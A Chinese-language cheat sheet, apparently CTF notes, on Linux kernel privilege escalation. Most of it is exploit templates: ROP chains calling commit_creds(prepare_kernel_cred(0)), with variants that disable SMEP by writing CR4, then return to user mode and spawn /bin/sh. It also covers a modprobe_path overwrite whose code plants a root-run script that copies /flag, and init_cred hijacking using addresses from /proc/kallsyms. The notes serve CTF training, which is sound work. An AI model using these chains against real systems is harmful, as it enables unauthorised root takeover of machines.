commit_creds(prepare_kernel_cred(0))
最常见的,主要就是看SMAP/SMEP/KPTI等保护是否开启
1.开启SMEP
第一种方法:内核提权然后返回用户态
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| void shell(void) { if(!getuid()) { printf("SUCCESS"); system("/bin/sh"); } else { printf("ERROR"); } } unsigned long sh = (unsigned long)shell; size_t rop[32];
rop[i++] = pop_rdi_ret; rop[i++] = 0x0; rop[i++] = prepare_kernel_cred_k; rop[i++] = pop_rdx; rop[i++] = commit_creds_k; rop[i++] = movRdiRax_call_rdx; rop[i++] = swapgs_ret; rop[i++] = iretq; /* saved EFLAGS */ rop[i++] = (size_t)sh; rop[i++] = user_cs; /* saved CS */ rop[i++] = user_rflags; /* saved EFLAGS */ rop[i++] = user_sp; rop[i++] = user_ss;
|
第二种方法:ROP关闭SMEP,执行用户态代码提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| void getroot (void) { commit_creds(prepare_kernel_cred(0)); }
void shell(void) { printf("[+] getuid() ..."); if(!getuid()) { printf("SUCCESS"); system("/bin/sh"); } else { printf("ERROR"); } } unsigned long getR = (unsigned long)getroot; unsigned long sh = (unsigned long)shell; size_t rop[32];
rop[i++] = pop_rdi_ret; // rop[i++] = 0x6f0; rop[i++] = movCr4Rdi_pop_rbp_ret; // mov cr4, rax; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)getR; rop[i++] = swapgs_popRbp_ret; rop[i++] = 0x0; rop[i++] = iretq; // iretq rop[i++] = (size_t)sh; rop[i++] = user_cs; /* saved CS */ rop[i++] = user_rflags; /* saved EFLAGS */ rop[i++] = user_sp; rop[i++] = user_ss;
|
2.未开启SMEP
直接执行用户空间的提权代码,然后返回使用shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| void getroot (void) { commit_creds(prepare_kernel_cred(0)); }
void shell(void) { if(!getuid()) { printf(" SUCCESS"); system("/bin/sh"); } else { printf("ERROR"); } } unsigned long getR = (unsigned long)getroot; unsigned long sh = (unsigned long)shell; size_t rop[32];
rop[i++] = (size_t)getR; rop[i++] = swapgs_popRbp_ret; rop[i++] = 0x0; rop[i++] = iretq; // iretq rop[i++] = (size_t)sh; rop[i++] = user_cs; /* saved CS */ rop[i++] = user_rflags; /* saved EFLAGS */ rop[i++] = user_sp; rop[i++] = user_ss;
|
MMAP内存映射
常见提权手段
1. 修改modprobe_path
查看是否能够修改
1 2 3 4 5
| cat /proc/sys/kernel/modprobe 如果显示 CONFIG_STATIC_USERMODEHELPER=y CONFIG_STATIC_USERMODEHELPER_PATH="" 不能
|
常常结合UAF漏洞来任意申请
查找modprobe_path地址
1
| cat /proc/kallsyms| grep modprobe_path
|
或者通过gdb
然后制作一个拷贝flag并且改权限的copy.sh文件,使得modprobe_path指向该文件,然后运行一个错误格式的文件,那么出错之后就会以root权限运行modprobe_path,从而以root权限运行我们的copy.sh,使得我们能够读取flag了。
1 2 3 4 5 6 7 8 9 10
| strncpy(mem,"/home/pwn/copy.sh\0",18); write_to_kernel(fd,0xc,mem,18,0);
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh"); system("chmod +x /home/pwn/copy.sh"); system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy"); system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy"); system("cat flag");
|
例子:
西湖论剑–easy_kernel–2021 西湖论剑 线上初赛 WP – Crispr –热爱技术和生活 (crisprx.top)
starctf2019-hackme–starctf2019-hackme | PIG-007
2.修改init_cred
init进程是初始进程,不被动态分配,知道kernel基地址的时候,就能得到该结构体的地址。
1
| cat /proc/kallsyms |grep init_cred
|
这种方法一般用在没办法修改到本进程的cred结构体的时候,之后使用即可提权
1
| //pop_rdi_ret init_cred_addr commit_creds_addr即可commit_creds(&init_cred)
|
例子:
2021-春秋杯-core
2.劫持prtcl_hook
pwnKernel从0开始(四) | PIG-007